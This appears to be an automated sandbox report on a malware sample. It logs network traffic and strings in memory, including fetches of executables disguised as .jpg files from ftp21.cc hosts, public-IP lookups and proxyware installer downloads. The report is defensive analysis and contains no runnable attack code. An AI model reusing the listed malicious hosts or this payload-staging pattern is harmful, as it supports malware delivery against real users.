Code function: 8_2_1000996F InternetOpenA,InternetOpenUrlA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

8_2_1000996F

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bKTp3DGr7l3Uk1o&MD=ksd93lmL HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /downloads/latest HTTP/1.1Host: data.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /downloads/Installer.exe HTTP/1.1Host: data.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /downloads/Installer.exe HTTP/1.1Host: downloads.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MpMgDLL.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ssl.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MpMgSvc.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ssl.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Hooks.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ssl.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dyndns/getip HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://118.184.169.48/dyndns/getipUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 118.184.169.48
Source: global traffic	HTTP traffic detected: GET /api.php?query=8.46.123.33&co=&resource_id=6006&oe=utf8 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 45.113.194.127
Source: global traffic	HTTP traffic detected: GET /64.jpg HTTP/1.1User-Agent: HTTPREADHost: down.ftp21.ccCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Update.txt HTTP/1.1User-Agent: HTTPREADHost: down.ftp21.ccCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: members.3322.org
Source: global traffic	DNS traffic detected: DNS query: opendata.baidu.com
Source: global traffic	DNS traffic detected: DNS query: www.362-com.com
Source: global traffic	DNS traffic detected: DNS query: www.4i7i.com
Source: global traffic	DNS traffic detected: DNS query: down.ftp21.cc
Source: global traffic	DNS traffic detected: DNS query: api.iproyal.com
Source: global traffic	DNS traffic detected: DNS query: gtxvdqvuweqs.com
Source: global traffic	DNS traffic detected: DNS query: blnc.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us17.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: data.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us18.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us8.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us9.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us22.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us14.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us16.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: downloads.traffmonetizer.com

Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://&co=&resource_id=6006&oe=utf8/api.php?query=
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://2024.ip138.com
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.00000000119C2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: ctfmoon.exe, 0000003B.00000002.2123555517.00000000119C2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crlhttp://crl.dhimyotis.com/certignarootca.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011912000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011912000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crlhttp://crl.comodoca.com/COMODOCertificationAuthori
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011912000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.00000000119C2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.000000001196E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.000000001196E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0G1
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: svchost.exe, 00000008.00000002.4110199382.0000000002E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://down.ftp21.cc/64.jpg
Source: svchost.exe, 00000008.00000002.4109656681.0000000002E29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.4109535921.0000000002E12000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.4110527192.0000000002E97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.4109656681.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.4110199382.0000000002E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://down.ftp21.cc/Update.txt
Source: svchost.exe, 00000008.00000002.4110527192.0000000002E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://down.ftp21.cc/Update.txt1.cc/Update.txt56Aa.
Source: svchost.exe, 00000008.00000002.4109656681.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://down.ftp21.cc/Update.txttem32
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://ip.360.cn/IPShare/info
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://ip.360.cn/IPShare/infohttp://2024.ip138.comhttp://www.cip.cc
Source: MpMgSvc.exe, MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://members.3322.org/dyndns/getip
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://members.3322.org/dyndns/getiptaskkill
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://ocsps.ssl.com0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://ocsps.ssl.com0?
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://ocsps.ssl.com0G
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://ocsps.ssl.com0_
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://purl.oclc.org/dsdl/schematron
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://relaxng.org/ns/structure/1.0
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://relaxng.org/ns/structure/1.0allocating
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120562809.0000000000455000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: ctfmoon.exe, 0000003B.00000002.2120562809.0000000000455000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://ssl.ftp21
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://sslcom.crl.certum.pl/ctnca.crl0s
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://sslcom.ocsp-certum.com08
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://sslcom.repository.certum.pl/ctnca.cer0:
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.000000001196E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.000000001196E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0B1
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.accv.es00
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.ascc.net/xml/schematron
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.ascc.net/xml/schematronhttp://purl.oclc.org/dsdl/schematronallocating
